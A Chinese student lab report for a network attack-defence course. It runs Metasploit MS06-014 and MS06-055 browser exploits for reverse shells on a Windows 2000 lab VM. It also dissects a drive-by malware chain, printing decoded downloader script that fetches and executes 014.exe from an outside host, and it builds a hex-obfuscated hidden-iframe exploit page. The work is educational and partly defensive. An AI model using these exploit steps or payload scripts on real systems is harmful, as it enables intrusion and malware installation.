20253909 2024-2025-2 《网络攻防实践》实践十一报告
20253909 2025-2026-2 《网络攻防实践》第11次作业
这次作业有三条主线:Web 浏览器渗透攻击(Metasploit MS06-014)、网页挂马攻击场景的取证分析、浏览器渗透攻防对抗。第一条用 Kali 里的 Metasploit 选 MS06-014 模块,挂一个恶意网页,等 Windows 2000 靶机用 IE 一访问就反弹回一个 shell,在靶机上远程执行命令。第二条是反过来当"取证分析员":从一个伪装成 404 的
start.html入手,顺着隐藏 iframe 一层层解开new09.htm、kl.htm里的 base64 / XXTEA /\x编码,把解出的每个网址做 MD5 散列、到哈希目录里取回对应文件继续分析,最后用脱壳器、W32Dasm、IDA 把下载下来的二进制木马也扒开看清楚。第三条把 MS06-014 和 MS06-055 两个不同浏览器漏洞的利用页拼进一个"浏览器兼容性测试"网页、把网址 hex 混淆藏进隐藏 iframe,做成一条挂马链接(攻击方),再由防守方把链接提取、解混淆、还原出这两段渗透代码到底打的是什么漏洞。一来一回,正好把"挂马—中招—取证—反混淆—溯源"这条链路完整走了一遍。
目录
一、实践内容
本次实践分三块,都围绕"Web 浏览器"这一侧的攻防展开。
第一块是 Web 浏览器渗透攻击。 用攻击机(Kali)里的 Metasploit 选择 MS06-014 渗透攻击模块(IE 的 RDS.DataSpace COM 组件创建漏洞),配置一个任意的反弹 Shell 作为 PAYLOAD,设好服务器地址与 URL,运行后 Metasploit 会就地构造出一张恶意网页。靶机(Windows 2000)用 IE 一访问这张网页,浏览器就被利用、执行 PAYLOAD,攻击机这边随即建立起一个远程控制会话(SESSION),可以在靶机上远程执行命令。
第二块是取证分析——网页挂马攻击场景分析。 这次换成防守/取证视角:从入口文件 start.html 开始,它里面给出了 new09.htm 的地址;进入 new09.htm 后,每解出一个文件地址,就对该地址做 32 位 MD5 散列,以散列值为文件名到哈希目录(实验里对应 http://192.168.68.253/scom/hashed/)下载对应文件——这一步把"真实网址"和"本地可取的样本"对应了起来。如果解出来的是网页或脚本,就继续解密;如果是二进制程序,就做静态反汇编或动态调试。如此反复,直到把整条挂马链路上的文件全部分析完。
第三块是攻防对抗——浏览器渗透攻防。 攻击方用 Metasploit 构造出至少两个不同浏览器漏洞的渗透代码(这里用 MS06-014 与 MS06-055),把它们的网址做混淆后组装进一个看起来人畜无害的"浏览器兼容性测试"网页,再通过一封带欺骗性的邮件把这个挂马链接发给防守方。防守方负责把链接里的挂马地址提取出来、做解混淆、尽量还原出渗透代码的原始形态,并判断它们各自攻击的是哪种浏览器的哪个漏洞。
实验环境:攻击机是 Kali Linux(VMware 中的 kali-linux-2025.2),靶机是 Windows 2000 SP0(VMware 中的 Win2kServer_SP0_target),取证分析在一台预装了 IDA Pro、OllyDbg、W32Dasm、超级巡警脱壳器等工具的 Windows XP 分析机(WinXPattacker)里完成。按作业要求,本次开始前我把 Kali 的主机名改成了 3909ljt(学号后四位 + 姓名拼音首字母),所以后面 Kali 终端的提示符都是 kali@3909ljt;攻防对抗里我自己写的挂马网页生成脚本命名为 20253909ljt.py,文件名里带上了学号。下面按三块内容依次记录。
二、实践过程
(一)实验环境与网络拓扑
先把三台机器的网络位置确认清楚。攻击机 Kali 上 ifconfig,看到 eth0 的地址是 192.168.200.11,子网掩码 255.255.255.128,MAC 00:0c:29:bd:78:73(图1)。这台就是后面挂马服务器和 Metasploit 监听器的所在。
ifconfig
图1:Kali 端 ifconfig,攻击机地址 192.168.200.11
靶机是 Windows 2000,在它自己的命令提示符里 ipconfig,地址是 192.168.200.6,默认网关 192.168.200.1,和攻击机在同一个 /25 子网里(图2)。
图2:Windows 2000 靶机 ipconfig,地址 192.168.200.6
回到 Kali,ping 192.168.200.6 四个包全通、延迟零点几毫秒(图3),说明攻击机到靶机的二层/三层连通性没问题,可以开始渗透。
ping 192.168.200.6
图3:Kali ping 通靶机 192.168.200.6
(二)Web 浏览器渗透攻击(MS06-014)
目标:在 Kali 上用 MS06-014 挂一张恶意网页,靶机 IE 一访问就反弹回一个 shell。
先启动 Metasploit 控制台 sudo msfconsole,加载完成后是熟悉的 banner,版本 v6.4.64-dev(图4)。
sudo msfconsole
图4:启动 msfconsole
搜索 MS06-014 对应的模块:search MS06-014。结果列在最上面的就是 exploit/windows/browser/ie_createobject,披露日期 2006-04-11、评级 excellent,描述是 "MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution"(图5)。它利用的是 IE 通过 RDS.DataSpace 等 COM 组件做 CreateObject 时的内存破坏漏洞——本质上是浏览器允许网页脚本实例化了本不该被实例化的 ActiveX 对象。
search MS06-014
图5:search MS06-014,定位 ie_createobject 模块
use exploit/windows/browser/ie_createobject 选用该模块,再 show payloads 看一下兼容的 PAYLOAD(图6)。浏览器类漏洞配的都是 Windows 下的各种 shellcode stager,既有 bind(正向)也有 reverse(反向)。本机靶机在 NAT 后面,用反弹(reverse)更稳。
use exploit/windows/browser/ie_createobject
show payloads
图6:use 模块并 show payloads
接着配置参数:set payload windows/shell_reverse_tcp 选一个反弹 Shell;set LHOST 192.168.200.11 指定回连地址(攻击机)。我一开始顺手 set RHOST 192.168.200.6 想指定靶机,结果 Metasploit 提示 Unknown datastore option: RHOST. Did you mean URIHOST?——这提醒我浏览器类漏洞是"等受害者上门"的,没有 RHOST 这个目标 IP 选项,要设的是服务器监听相关的 SRVHOST/SRVPORT/URIPATH。show options 复核:SRVHOST 0.0.0.0、SRVPORT 8080、URIPATH 留空(随机),PAYLOAD 的 LHOST 192.168.200.11、LPORT 4444(图7)。
set payload windows/shell_reverse_tcp
set LHOST 192.168.200.11
show options
图7:设置 payload/LHOST,RHOST 报错提示,show options 复核
exploit 运行。Metasploit 把它作为后台 job 启动,起了一个 reverse TCP 监听器在 192.168.200.11:4444,并给出恶意网页 URL http://192.168.200.11:8080/nBLMmv4t9Y(URIPATH 没指定时是随机串),Server started(图8)。这个 URL 就是要诱使靶机访问的"网页木马"。
exploit
图8:exploit 运行,生成恶意网页 URL(:8080/nBLMmv4t9Y)
切到 Windows 2000 靶机,用 IE 打开上面那个 URL。页面只显示了一串看不懂的乱码(dFdSCcDZHdpDpNJsYXiUVD)——这正是 Metasploit 下发的、经过混淆的利用脚本在页面上的呈现(图9)。对用户来说"什么也没发生",但 IE 在背后已经把漏洞利用代码跑了一遍。
图9:靶机 IE 访问恶意网页,页面是混淆后的脚本
回到 Kali,Metasploit 的输出里依次出现:ie_createobject - Sending exploit HTML、Sending EXE payload,紧接着 Command shell session 1 opened (192.168.200.11:4444 -> 192.168.200.6:1197)(图10)。会话建立成功——靶机主动把 shell 反弹回来了。
图10:靶机访问后,session 1 成功建立
sessions -i 1 进入这个会话,Shell Banner 显示 Microsoft Windows 2000 [Version 5.00.2195],拿到了靶机的命令行(图11)。
sessions -i 1
图11:sessions -i 1 进入会话,确认是 Windows 2000
在这个远程 shell 里随手验证一下控制权:net user 列出靶机本地账户(机器名 ICST-WIN2K-S,有 Administrator、Guest、IUSR_、IWAM_ 等账户),ipconfig 也确认了正是 192.168.200.6 这台(图12)。至此 MS06-014 浏览器渗透完成——一个看似普通的网页链接,换来了对方机器的命令执行权。
net user
ipconfig
图12:在靶机上远程执行 net user / ipconfig
(三)取证分析实践——网页挂马攻击场景分析
1. 分析环境与总体思路
这一块是"反过来"的工作:手上拿到一份真实的网页挂马样本包,要把整条攻击链一层层解开、弄清楚它到底干了什么。样本包 网页挂马分析实践-解压密码virus.zip 用密码 virus 解压(图13,路径在"网络攻防 / 实验11"下)。解压后分成两个目录:hashed/(文件名都是 32 位 MD5 的"哈希下载目录",模拟题目里的下载服务器)和 original/(解出来的真实文件,便于对照)。
图13:用密码 virus 解压网页挂马样本包
分析在 Windows XP 分析机上做,它的开始菜单里预置了一整套逆向/取证工具:脱壳和加壳工具(超级巡警脱壳器)、监视工具、扫描工具、密码学工具等(图14);其中"反汇编"一栏有 IDA Pro、OllyDbg、W32Dasm、C32Asm(图15)。这次主要用到超级巡警脱壳器、W32Dasm 和 IDA Pro。
图14:分析机里的工具集(脱壳、监视、扫描等)
图15:反汇编工具一栏(IDA Pro / OllyDbg / W32Dasm 等)
先看一眼 original/ 里都有什么:0.exe~19.exe 一共 20 个可执行文件,外加 1.js、1299644.js、b.js、pps.js 几个脚本,kl.htm,以及 bd.cab、bf.exe、pps.exe(图16)。这堆文件之间的关系,正是接下来要顺出来的。
图16:original 目录下的全部样本文件
取证的基本流程就是题目给的那套:从 start.html 进入 → 解出下一个地址 → 对地址做 32 位 MD5 → 以散列值为文件名去 hashed/ 取文件 → 如果是脚本继续解,如果是二进制就反汇编/调试 → 直到全部解完。
2. 第一层:start.html → new09.htm
入口是 start.html。它把自己伪装成一张 IIS 的 "HTTP 错误 404 - 找不到文件" 页面,正文煞有介事地写着"正在查找的网页可能已被删除、重命名或暂时不可用",普通人看了只会以为是个坏链接。但把源码拉到最底下,会发现一行真正的杀招(图17):
</table> <iframe src="new09.htm" width="0" height="0"></iframe>
一个 宽高都是 0 的隐藏 iframe,悄悄把 new09.htm 加载了进来。也就是说,访问者看着是 404,背地里浏览器已经去拉 new09.htm 了。这是网页挂马最常见的"藏二级页面"的手法。
图17:start.html 伪装成 404,底部用 0×0 隐藏 iframe 加载 new09.htm
3. 第二层:解出地址、按 MD5 取文件
由于提供的压缩包无该文件,只能参考学习通教程《网页挂马分析实践参考(上)》,推断new09.htm 的相关代码如下:
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
使用在线工具 https://www.tooldeer.com/hashcalculator-md5.html 可以计算计算两个 URL 的 MD5 值。
进入 new09.htm 后,里面的脚本同样是经过编码的。把它解出来,会得到几个外部地址。按题目要求,对每个地址做 32 位 MD5 散列,再拿散列值去 hashed/ 目录取对应文件。我用在线工具逐个算:
地址 http://js.users.51.la/1299644.js 的 MD5 是 23180a42a2ff1192150231b44ffdf3d3(图18),到 hashed/ 里取出同名文件就是 1299644.js。
图18:对 1299644.js 的地址做 MD5,得到 23180a42…
这里有个值得记一笔的细节:取回的 1299644.js 只有 36 字节,打开一看是一行中文注释——"本文件内容是流量统计代码,不是木马"。js.users.51.la 正是当年很常见的"51.la"网站流量统计服务。也就是说,这条地址是个良性的统计代码、是个幌子,挂马者把它和恶意脚本混在一起,既能让页面看起来更"正常",也能干扰分析者。取证里不能见到 .js 就当木马,得逐个验证。
另一个地址 http://aa.18dd.net/aa/kl.htm 的 MD5 是 7f60672dcd6b5e90b6772545ee219bd3(图19),取回的就是 kl.htm——这才是真正的下一层挂马页面。
图19:对 kl.htm 的地址做 MD5,得到 7f60672…
4. kl.htm:base64 + XXTEA + eval 多层解密
打开 7f60672dcd6b5e90b6772545ee219bd3 文件,发现代码结构:kl.htm 是整条链里加密最重的一环。打开源码,满屏都是函数 base64decode()、long2str()、str2long()、xxtea_decrypt(),外加一大段密文 t="bLbKfYCzhRa6VOoMk5aDvXrrjWgHpa4kW6XgGId/Nmc/..."(图20)。一眼能认出这是 XXTEA 这套微型分组加密算法。
图20:kl.htm 中的 XXTEA 解密函数与密文 t
把源码拉到最后,找到真正"发动"解密的那两行(图21):
t = utf8to16(xxtea_decrypt(base64decode(t), "\x73\x63\x72\x69\x70\x74"));
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](t);
翻译过来就是:把密文 t 先 base64 解码,再用密钥 "\x73\x63\x72\x69\x70\x74"(即字符串 script)做 XXTEA 解密,最后 utf8to16 转码,把结果交给 document.write 写回页面执行。连 document、write 这些单词都被拆成 \x 转义来躲查杀。
图21:解密入口——base64decode → xxtea_decrypt(密钥 script) → document.write
手算 XXTEA 太麻烦,我用在线的 "XXTEA 网页加解密" 工具:把密文贴进去、密钥填 script,点"脚本解密"(图22)。解出来的是又一层 \x 十六进制编码的 eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e…")——也就是说 XXTEA 解开后里面还套着一层。
图22:用在线工具以密钥 script 完成 XXTEA 解密
再把这层 \x 编码用"字符串 / 十六进制互转"工具还原成可读文本(图23),终于露出真容:一个 function init(){…},核心动作是
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>");
也就是 kl.htm 拐了三道弯(base64 → XXTEA → \x-eval),最终目的就是往页面里塞一个加载 pps.js 的 <script>;解出的文本里还能看到对 document.cookie 的判断(用来控制每台机器只挂一次、减少重复请求和暴露)。这一层把"下一步加载哪个脚本"指了出来。
图23:再解一层 \x 编码,得到 init() —— 写入 pps.js 的 script 标签
5. 1.js / b.js / pps.js:下载者与浏览器漏洞利用
顺着 aa.18dd.net/aa/ 这个目录,把同目录下的几个脚本地址也做 MD5 取回来分析。
http://aa.18dd.net/aa/1.js 的 MD5 是 5d7e9058a857aa2abee820d5473c5fa4(图24);http://aa.18dd.net/aa/b.js 的 MD5 是 3870c28cc279d457746b3796a262f166(图25);http://aa.18dd.net/aa/pps.js 的 MD5 是 5f0b8bf0385314dbe0e5ec95e6abedc2(图26)。三个散列值在 hashed/ 里都能对上文件。
图24:对 1.js 的地址做 MD5,得到 5d7e9058…
图25:对 b.js 的地址做 MD5,得到 3870c28c…
图26:对 pps.js 的地址做 MD5,得到 5f0b8bf0…
先看 1.js,它是整条链的"下载者"。 它同样是 eval("\x…") 的形式,把 \x 还原成文本后(图27)逻辑非常清楚:
var url = "http://down.18dd.net/bb/014.exe";
try{
var xml = ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET", url, 0); xml.Send();
as.type = 1; as.open();
as.write(xml.responseBody);
path = "..\\ntuser.com";
as.savetofile(path, 2); as.close();
var shell = ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
}catch(e){}
翻成人话:用 Microsoft.XMLHTTP 把 down.18dd.net/bb/014.exe 这个木马下载下来,用 ADODB.Stream 存成本地的 ..\ntuser.com,再用 Shell.Application 调 cmd.exe /c 把它执行起来。 这就是 MS06-014 那类"COM 组件被滥用 → 任意下载并执行"的经典落地方式——前面浏览器漏洞负责"能跑脚本",这段脚本负责"把木马装上"。
图27:1.js 解码后——XMLHTTP 下载 014.exe、ADODB.Stream 落地、Shell 执行
再看 b.js,它是一段被 Dean Edwards packer 打包过的脚本(eval(function(p,a,c,k,e,d){…}) 的典型特征)。用在线的 JavaScript UnPacker 反打包后(图28),现出原形:
var bigblock = unescape("%u9090%u9090"); // NOP 滑板
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + … ); // shellcode
… 用 Array 反复拼接,做 heap spray(堆喷射)…
这是一段典型的堆喷射 + shellcode 浏览器内存破坏利用:先用大量 %u9090(NOP)和 shellcode 把堆填满,再触发漏洞让控制流落到喷好的 shellcode 上。它和 1.js 是两种不同的利用路子,挂马者把它们都放上去以提高命中率。
图28:b.js 反打包后,露出 heap spray 与 shellcode
pps.js 则是用八进制转义(\57\52\45\165…)藏起来的。把八进制还原成文本(图29),能看到它在 document.createElement("object") 后给对象 setAttribute("classid", …)——即通过指定 CLSID 实例化某个有漏洞的 ActiveX 控件,配合开头那段 %u… 的 shellcode 完成利用。这是第三种利用路子(针对特定控件的 classid)。三个脚本各打各的漏洞,凑成一套"组合拳"。
图29:pps.js 八进制还原后,通过 classid 实例化控件 + shellcode
6. 二进制样本静态分析
脚本把木马 014.exe 装上后,剩下的就是分析这些二进制了。样本包里的 bf.exe、pps.exe、0.exe~19.exe 都是这条链下载/释放出来的可执行文件。
先查壳。用超级巡警虚拟机脱壳器加载样本,信息栏识别出它是 Borland Delphi v6.0 - v7.0 编译的(图30);点脱壳,提示"脱壳成功",并给出脱壳后文件的输出路径(图31)。能脱壳,后面的反汇编才看得清。
图30:超级巡警识别出样本是 Borland Delphi 编译
图31:脱壳成功,输出脱壳后的文件
把脱壳后的 14.exe(14_unpacked.exe)丢进 W32Dasm 反汇编,区段信息显示它有 .Upack、.rsrc、.dswlab 三个段、镜像基址 00400000h(图32)——.Upack 段名印证了它原本是 Upack 加的壳。
图32:W32Dasm 反汇编 14_unpacked.exe,可见 .Upack 段
再看 W32Dasm 列出的字符串参考(图33),能读出这个木马的一些"自我了断"逻辑:@echo off、.bat、:Loop、goto Loopdel、if exist、attrib,以及 \InprocServer32、形如 {6D81718…} 的 CLSID。组合起来就是:释放一个批处理脚本,循环尝试删除自身(确认母体退出后再删 .bat),并通过写 InprocServer32 注册表项劫持某个 COM 组件。删自身是为了减少落地痕迹,是这类木马的标准动作。
图33:W32Dasm 字符串表——批处理自删除 + InprocServer32 COM 劫持
真正把这家族看透的是用 IDA Pro 打开 pps.exe 看字符串(Strings 窗口)。第一屏就很说明问题(图34):SOFTWARE\Borland\Delphi\RTL 印证 Delphi 出身;QueryServiceConfig2A/W、ChangeServiceConfig2A/W 说明它会操作 Windows 服务;最关键的是一长串 http://down.18dd.net/kl/0.exe、1.exe、2.exe……一直到 19.exe——pps.exe 是个"下载者",会从 down.18dd.net/kl/ 把 20 个 .exe 全部拉下来。这 20 个,正是 original/ 里的 0.exe~19.exe。
图34:IDA 中 pps.exe 的字符串——批量下载 down.18dd.net/kl/0~19.exe
继续往下翻字符串,这只木马的"本事"全暴露了(图35):IE 执行保护、允许执行、确定、允许、Button、#32770——它会自动找到 IE 的安全提示对话框(窗口类 #32770)并替你点"允许执行",绕过 IE 的执行保护;[AutoRun]\r\nopen=、shell\Auto\command= 是 autorun.inf 的内容,配合改 Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun,说明它会借 U 盘 / 移动盘的自动播放传播;ntdll.dll、ZwUnmapViewOfSection、VirtualAllocEx、Kernel32.dll 是进程注入 / 进程镂空(process hollowing)的标志;drivers/klif.sys 是卡巴斯基的驱动,说明它会探测/对抗卡巴;cmd /c date 1981-01-12 会篡改系统日期;为即插即用设备提供支持 则是它伪装成系统服务用的描述。
图35:IDA 字符串续——自动点"允许执行"、autorun 传播、进程注入、对抗卡巴
最后做个一致性校验。在分析机里对几个样本 md5sum(图36):bf.exe 与 pps.exe 的 MD5 完全一样,都是 1290ecd734d68d52318ea9016dc6fe63——它俩是同一个文件,只是换了名字(前面 1.js 下载的 014.exe、pps.js 的命名,都是同一个下载者的不同马甲);14.exe 的 MD5 是 6f695394ee046c5137ce3d0310769924,是被下载的 20 个之一。
md5sum 14.exe bf.exe pps.exe
图36:md5sum 校验,bf.exe 与 pps.exe 是同一个文件
7. 完整攻击链梳理
把上面所有碎片拼起来,这次网页挂马的完整链路是:
| 阶段 | 文件 / 地址 | 作用 |
|---|---|---|
| 入口 | start.html |
伪装成 404,用 0×0 隐藏 iframe 偷加载 new09.htm |
| 跳转 | new09.htm |
编码后给出下一层地址(含 51.la 统计幌子 1299644.js) |
| 幌子 | 1299644.js |
良性 51.la 流量统计代码,干扰分析 |
| 加密页 | kl.htm |
base64 + XXTEA(密钥 script) + \x-eval,最终写入 pps.js |
| 利用-1 | 1.js |
XMLHTTP 下载 014.exe,ADODB.Stream 落地,Shell 执行 |
| 利用-2 | b.js |
heap spray + shellcode 内存破坏利用 |
| 利用-3 | pps.js |
通过 classid 实例化漏洞 ActiveX + shellcode |
| 下载者 | 014.exe = bf.exe = pps.exe |
Delphi 木马:批量下载 kl/0~19.exe、绕 IE 提示、autorun 传播、进程注入、对抗卡巴 |
| 终极载荷 | 0.exe~19.exe |
被下载的 20 个木马(盗号木马家族) |
一句话总结这条链的设计思路:用伪装页降低警觉 → 用隐藏 iframe 偷渡 → 用多层加密(base64/XXTEA/八进制/\x)躲查杀 → 用三种不同浏览器漏洞利用提高命中 → 用一个"下载者"把 20 个木马一锅端。层层套娃,每一层都有明确分工。
(四)攻防对抗实践——双漏洞挂马与解混淆
攻击方目标:把两个不同浏览器漏洞的利用页拼进一个"无害"网页、把网址混淆藏好,做成一条挂马链接。防守方目标:把链接提取、解混淆、还原出这两段渗透代码打的是哪些漏洞。 我一人分饰两角走完整个流程。
攻击方——构造混淆挂马页。 我用 Python 写了个生成脚本 20253909ljt.py(图37)。思路是:把两段利用页的网址 http://192.168.200.11:8081/ms06055、http://192.168.200.11:8082/ms06014 各自做 encode('ascii').hex() 的 十六进制编码(这样网址在页面里就是一串看不出意义的 hex);再生成一张标题为"浏览器兼容性测试"的 HTML,页面里放一个 h2s() 函数把 hex 解回字符串、一个 loadHiddenFrame() 函数动态创建 1×1、display:none 的隐藏 iframe;window.onload 时先加载第一段利用页,setTimeout 5 秒后再加载第二段——两个漏洞先后触发,彼此不挡。
def hex_encode(s):
return s.encode('ascii').hex()
url1 = "http://192.168.200.11:8081/ms06055"
url2 = "http://192.168.200.11:8082/ms06014"
# … 把 hex 嵌进带 h2s()/loadHiddenFrame() 的 HTML 模板 …
图37:挂马页生成脚本 20253909ljt.py(hex 编码 + 隐藏 iframe)
动手前先在命令行里验证一下 encode().hex() 的效果——把两个 URL 编码出来确认无误(图38),再跑 python3 20253909ljt.py,生成 20253909ljt.html(图39)。
python3 -c 'print("http://...:8081/ms06055".encode().hex())'
python3 20253909ljt.py
图38:命令行验证两段 URL 的 hex 编码
图39:运行脚本生成 20253909ljt.html
把生成的页面部署到 Kali 的 Apache 上:建目录 /var/www/html/20253909ljt/、拷贝 HTML 过去、systemctl start/enable apache2,最后 curl 取一下确认能访问到这张"浏览器兼容性测试"页(图40)。这样挂马链接 http://192.168.200.11/20253909ljt/20253909ljt.html 就成型了——它就是要写进"欺骗性邮件"发给受害者的链接。
sudo mkdir -p /var/www/html/20253909ljt
sudo cp 20253909ljt.html /var/www/html/20253909ljt/
sudo systemctl start apache2 && sudo systemctl enable apache2
curl http://192.168.200.11/20253909ljt/20253909ljt.html | head -n 5
图40:把挂马页部署到 Apache 并 curl 验证
攻击方——起两个漏洞的监听。 隐藏 iframe 指向的两个地址,背后各是一个 Metasploit 监听。第二个漏洞我选 MS06-055(IE 的 VML 填充方法漏洞,vgx.dll 的缓冲区溢出)。use exploit/windows/browser/ms06_055_vml_method,配置 SRVPORT 8081、URIPATH /ms06055、payload windows/shell/reverse_tcp、LHOST 192.168.200.11、LPORT 4455(图41)。show options 复核,可以看到它的攻击目标范围是 Windows NT 4.0 → Windows 2003 SP1(图42)。
use exploit/windows/browser/ms06_055_vml_method
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.11
set LPORT 4455
图41:配置 MS06-055(VML)模块,监听 8081
图42:MS06-055 的 show options(目标 NT4.0~2003 SP1)
run -j 让它后台跑,起监听器在 192.168.200.11:4455、URL http://192.168.200.11:8081/ms06055(图43)。等靶机访问后,输出里出现 Sending MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution,随即 Command shell session 1 opened(图44)。sessions -l 看到这条会话,sessions -i 1 进去,ver/ipconfig 确认又是那台 Windows 2000(192.168.200.6)(图45)。MS06-055 这一路打通。
图43:MS06-055 run -j,监听启动
图44:靶机访问后,MS06-055 建立 session 1
图45:进入 MS06-055 会话,ver/ipconfig 确认靶机
第一个漏洞 MS06-014 的监听也照样起一份,只是端口换成 8082、URIPATH /ms06014、LPORT 5544(图46、图47)。run -j 后等靶机访问,同样收到 Sending exploit HTML / Sending EXE payload,Command shell session 2 opened(图48);sessions -i 2 进去 ver/ipconfig 一切正常(图49)。
use exploit/windows/browser/ie_createobject
set SRVPORT 8082
set URIPATH /ms06014
set LPORT 5544
run -j
图46:另起 MS06-014 模块,监听 8082
图47:MS06-014 的 show options(8082 / ms06014)
图48:MS06-014 建立 session 2
图49:进入 MS06-014 会话,ver/ipconfig 确认
两个监听同时在跑的样子如图50——左边是 MS06-055(8081,session 1),右边是 MS06-014(8082,session 2),两条会话都来自靶机 192.168.200.6。在 Kali 上 netstat -tulnp | grep -E '8081|8082' 也能看到两个 ruby(Metasploit)进程分别监听 8081、8082(图51)。
sudo netstat -tulnp | grep -E '8081|8082'
图50:两个漏洞监听并行(左 8081/MS06-055,右 8082/MS06-014)
图51:netstat 确认 8081、8082 都在监听
受害者中招的样子。 靶机用 IE 打开邮件里的链接,看到的只是一张"浏览器兼容性测试页面 / 正在加载实验资源,请稍候…"(图52)——完全不像有问题。而背后那两个隐藏 iframe 已经先后去拉 :8081/ms06055 和 :8082/ms06014 了;其中 MS06-014 那张利用页直接访问就是一串混淆脚本(图53)。表面平静,实际上两个漏洞都触发了、两条 shell 都反弹了回去。
图52:靶机看到的只是"浏览器兼容性测试"页
图53:隐藏 iframe 拉取的 MS06-014 利用页(混淆脚本)
防守方——提取与解混淆。 站在防守视角,拿到这封邮件后,先把页面源码扒出来看(图54):能看到 h2s() 解码函数、loadHiddenFrame() 创建隐藏 iframe,以及两段 hex 字符串 u1、u2。把这两段 hex 做"十六进制 → 字符串"还原,立刻现出真身——u1 = http://192.168.200.11:8081/ms06055、u2 = http://192.168.200.11:8082/ms06014,挂马的两个落点暴露无遗。
图54:防守方查看页面源码,定位 h2s/隐藏 iframe 与两段 hex
顺着还原出的地址把利用页也抓回来分析。curl http://192.168.200.11:8081/ms06055 -o ms06055.html 取回后 cat 一看(图55),HTML 里带着 xmlns:FkqfAwBSa 这种随机的 VML 命名空间——这正是 MS06-055(IE VML 填充方法溢出) 利用页的典型特征;同理 :8082/ms06014 那一份对应的就是 MS06-014(IE COM CreateObject 漏洞)。至此防守方完成了闭环:提取链接 → hex 解混淆得到两个落点 → 抓回利用页 → 从 VML 命名空间等特征判定出 MS06-055 与 MS06-014 两个漏洞。
curl http://192.168.200.11:8081/ms06055 -o ms06055.html
cat ms06055.html
图55:抓回 MS06-055 利用页,VML 命名空间暴露漏洞身份
三、学习中遇到的问题及解决
问题 1:set RHOST 报错 Unknown datastore option: RHOST。
我习惯性地给浏览器漏洞模块设 RHOST(目标 IP),结果被提示没这个选项、问我是不是想设 URIHOST。原因是浏览器类漏洞是被动等受害者上门的,不像服务端漏洞那样主动连目标,所以要设的是 SRVHOST/SRVPORT/URIPATH(挂马服务器在哪、URL 是什么)和 PAYLOAD 的 LHOST/LPORT(往哪回连),根本没有 RHOST。理解了"主动 vs 被动"这层区别后就不会再设错。
问题 2:解出来的网址,对应文件该去哪取?
题目设计是:对解出的网址做 32 位 MD5 散列,以散列值(小写、无扩展名)为文件名到 hashed/(即 http://192.168.68.253/scom/hashed/)下载。一开始我没意识到"文件名就是网址的 MD5",对着一堆十六进制文件名发懵。想通之后,每解出一个地址就用在线 MD5 工具算一下、按散列值取文件,链路一下就顺了。
问题 3:1299644.js 是不是木马?
它来自 js.users.51.la、只有 36 字节,差点被我当成关键节点去硬解。打开发现是一行中文注释、是 51.la 的流量统计代码——一个良性幌子。教训是:取证里不能见 .js/外链就当恶意,要逐个看内容、做判断,挂马者本来就喜欢混入正常资源来稀释可疑度。
问题 4:kl.htm 的 XXTEA 密钥是什么、怎么解?
源码末尾 xxtea_decrypt(base64decode(t),"\x73\x63\x72\x69\x70\x74") 里的密钥被写成 \x 转义,还原过来是字符串 script。手算 XXTEA 不现实,我用在线"XXTEA 网页加解密"工具,密文照贴、密钥填 script,就解出了里层。解出来还是 \x 编码,再用"十六进制转字符串"工具走一遍才到可读代码——多层编码就得一层层、换着工具剥。
问题 5:脚本里 eval(function(p,a,c,k,e,d){…}) 看不懂。
这是 Dean Edwards 的 packer 打包格式(b.js 就是)。直接读没意义,得先用 JavaScript UnPacker 反打包,才看到里面的 heap spray 和 shellcode。认得这种"签名"能省很多时间。
问题 6:样本带壳,反汇编一团乱。
0.exe~19.exe、pps.exe 多是 Upack 壳。先用超级巡警脱壳器脱壳(它还能顺带报出 Delphi 编译信息),再拿脱壳后的文件进 W32Dasm / IDA,字符串和反汇编才有意义。
问题 7:攻防对抗里,混淆后的网址怎么确认没拼错?
我用 Python 的 encode().hex() 把网址转 hex 藏进页面。为确认实际发出的请求没问题,一是先在命令行单独 print(...hex()) 比对,二是防守侧用"十六进制转字符串"把页面里的 u1/u2 还原,两头一对就放心了。
问题 8:MS06-014 / MS06-055 模块名记不住。
直接 search MS06-014、search MS06-055 让 Metasploit 给出准确模块名(ie_createobject、ms06_055_vml_method)即可,比硬背路径靠谱。
四、扩展讨论:网页挂马的"杀伤链"与防御
把这次的三块内容连起来看,最大的收获是看清了一条网页挂马的完整"杀伤链",以及它每一环对应的防御点。
第一环是"投放与伪装"。 攻击方要么把利用页挂到正常网站上,要么像第三块那样用一封欺骗邮件诱人点链接,再用伪装页(404 假页、"兼容性测试"假页)降低警觉。对应的防御是用户侧的警惕 + 邮件网关/URL 信誉:不点来历不明的链接,企业侧对外链做沙箱引爆和信誉过滤。
第二环是"偷渡与隐藏"。 典型手法就是 0×0 或 display:none 的隐藏 iframe,让二级页面在用户无感知时加载。对应防御是内容安全策略(CSP):限制页面能 frame-src/script-src 加载的来源,隐藏 iframe 想偷加载外部域就会被拦。
第三环是"混淆与免杀"。 这次见识了 base64、XXTEA(带密钥 script)、八进制 \57、十六进制 \x、Dean Edwards packer 等好几种叠着用,目的就是躲过基于特征的静态查杀。这说明纯特征匹配的查杀注定追不上混淆,更可靠的是行为检测(看脚本是否在 document.write 出 <script src>、是否实例化高危 ActiveX、是否调用 ADODB.Stream 落盘)和解混淆后的二次分析。
第四环是"漏洞利用"。 MS06-014 走的是"COM 组件被滥用→XMLHTTP 下载 + ADODB.Stream 落地 + Shell 执行",MS06-055 走的是 VML 的 vgx.dll 内存破坏,b.js 走 heap spray + shellcode,pps.js 走 classid 实例化漏洞控件。手法不同,但根子都是"浏览器/插件信任了网页脚本本不该拥有的能力"。对应防御是及时打补丁(这几个洞 2006 年就修了)、关闭/限制危险 ActiveX 与脚本权限、以及最小权限运行浏览器。值得一提的是,这些 2006 年的老漏洞放到今天已基本绝迹,但它们的"现代映射"仍在——只是换成了新的浏览器/插件 0day、换成了更隐蔽的 fileless 落地,思路一脉相承。
